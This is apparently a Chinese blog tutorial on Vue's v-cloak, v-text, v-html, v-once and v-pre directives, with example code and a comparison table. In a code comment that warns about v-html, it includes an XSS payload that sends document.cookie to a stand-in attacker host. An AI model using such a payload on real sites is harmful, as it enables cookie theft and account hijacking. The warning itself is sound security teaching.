Vue基础知识-Vue中v-cloak、v-text、v-html、v-once、v-pre指令详解

完整示例代码

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=, initial-scale=1.0">
    <title>Document</title>
    <script src="../js/vue.js"></script>
</head>
<body>
    <!--
        v-closk:Vue实例创建完毕接管容器时会删掉v-cloak属性。该属性配合css代码可以解决如{{XX}}渲染不及时的情况
        <style>
            [v-cloak]{
                display:none
            }
        </style>
    -->
    <div id="root" v-cloak>
        <!-- 拿到name的值替换标签中间的内容,当作文本解析 -->
        <h2 v-text="name"></h2>
        <!-- 
            拿到name的值替换标签中间的内容,当作html解析。存在安全性问题。
            例如贴吧开发人员使用v-html渲染评论信息。不法分子提交评论:
            <a href=javascript:location.href='www.XSS.com?+document.cookie'>来!</a>,
         -->
        <h2 v-html="name"></h2>

       <!--  v-once:初次动态渲染后被视为静态内容。即只渲染一次 -->
        <h2 v-once>初始化n值:{{n}}</h2>
        <h2>n值:{{n}}</h2>
        <input type="button" @click="n++" value="n++"/>
        <!--  v-pre:若没有使用指令语法、插值语法等。可使用该指令跳过vue解析过程 -->
        <h2 v-pre>
            n值:{{n}}
        </h2>
    </div>
</body>
    <script>
        const vm = new Vue({
            el:'#root',
            data() {
                return {
                    name:'<font color = "red">张三</font>',
                    n:1
                }
            }
        })
    </script>
    
</html>

指令详解与对比

1. v-cloak:解决插值表达式闪烁问题

作用 :在 Vue 实例未完成初始化时,隐藏带有插值表达式的元素,避免页面短暂显示{``{ }}符号。

使用方法:

  1. 在需要处理的元素上添加v-cloak属性
  2. 配合 CSS 隐藏该属性:[v-cloak] { display: none; }

工作原理:

  • Vue 实例初始化完成并接管容器后,会自动移除v-cloak属性
  • 未初始化时,元素因[v-cloak]样式被隐藏,初始化后显示正常内容

适用场景:

  • 页面加载较慢时,防止插值表达式{``{ }}被用户短暂看到
  • 尤其适合网络环境较差或页面结构复杂的场景

2. v-text:文本渲染指令

作用:将数据以纯文本形式插入到元素中,替换元素的全部内容。

特点:

  • 与插值表达式{``{ }}功能类似,但会覆盖元素内的原有内容
  • 不会解析 HTML 标签,只会当作普通文本处理
  • 渲染速度比插值表达式稍快(因为解析过程更简单)

适用场景:

  • 需要完全替换元素内容且不需要解析 HTML 的场景
  • 对渲染性能有轻微要求的简单文本展示

3. v-html:HTML 渲染指令

作用:将数据作为 HTML 字符串解析并插入到元素中,替换元素的全部内容。

特点:

  • 会解析数据中的 HTML 标签并渲染
  • 同样会覆盖元素内的原有内容
  • 存在安全风险,可能导致 XSS 攻击

适用场景:

  • 渲染可信的 HTML 内容(如后端返回的安全 HTML 片段)
  • 需要动态生成包含标签的内容时使用

4. v-once:静态内容指令

作用:使元素或组件只渲染一次,后续数据变化不会导致重新渲染。

特点:

  • 首次渲染后,元素会被视为静态内容
  • 即使依赖的数据发生变化,也不会更新
  • 可以提高性能(减少不必要的重新渲染)

适用场景:

  • 展示固定不变的静态内容
  • 数据一旦初始化就不会再变化的场景
  • 优化性能,减少不必要的渲染

5. v-pre:跳过编译指令

作用:跳过 Vue 对元素及其子元素的编译过程,直接显示原始内容。

特点:

  • 元素内的插值表达式{``{ }}不会被解析
  • 元素内的 Vue 指令也不会被执行
  • 可以提高编译性能(跳过不需要编译的内容)

适用场景:

  • 展示包含{``{ }}符号的内容(如 Vue 代码示例)
  • 页面中存在大量不需要 Vue 处理的静态内容
  • 优化大型页面的编译速度

指令对比总结

指令 核心功能 特点 主要用途 注意事项
v-cloak 隐藏未编译内容 初始化后自动移除 解决插值闪烁 需要配合 CSS 使用
v-text 文本渲染 覆盖内容,不解析 HTML 简单文本展示 性能略优于插值表达式
v-html HTML 渲染 覆盖内容,解析 HTML 渲染可信 HTML 禁止用于用户输入内容
v-once 静态渲染 只渲染一次 展示不变内容 可优化性能
v-pre 跳过编译 不解析指令和插值 展示原始代码 提高编译效率
相关推荐
鬼手点金9 小时前
nanoGPT/nanochat 能做出 DeepSeek/Qwen 这样的大模型吗?
服务器·前端·javascript·bug·openclaw
软件技术NINI9 小时前
美妆商城html+Css+js 4页
javascript·css·html
蛋蛋的就会顺顺的9 小时前
hot100 p0——栈,贪心算法,动态规划
java·前端·javascript·算法·leetcode·力扣
程序员Sunday9 小时前
TypeScript 的 any、unknown、never 有什么区别?
前端·面试·typescript
朱涛的自习室9 小时前
70 美金的 Beyond Compare,我让 Gemini 4 和 DeepSeek 造个开源免费版(Day 2)
android·前端·人工智能
码艺-Alimjan10 小时前
Tauri 源码备份 · 打包 & 解压 总结,源码收集之路
前端·javascript·vue.js
小马不起床10 小时前
零基础玩转 FastAPI_11:前端后台管理页面
前端·状态模式·fastapi
子非鱼a11 小时前
【文件上传】一个普普通通的edu16
前端
美狐美颜SDK开放平台12 小时前
直播APP如何实现美白滤镜功能?视频美颜SDK技术开发方案详解
前端·数据库·人工智能·音视频·美颜sdk·直播美颜sdk·视频美颜sdk
pride.li12 小时前
第03章 Python 教程-基础语法:注释与变量
服务器·前端·后端·python·算法·计算机视觉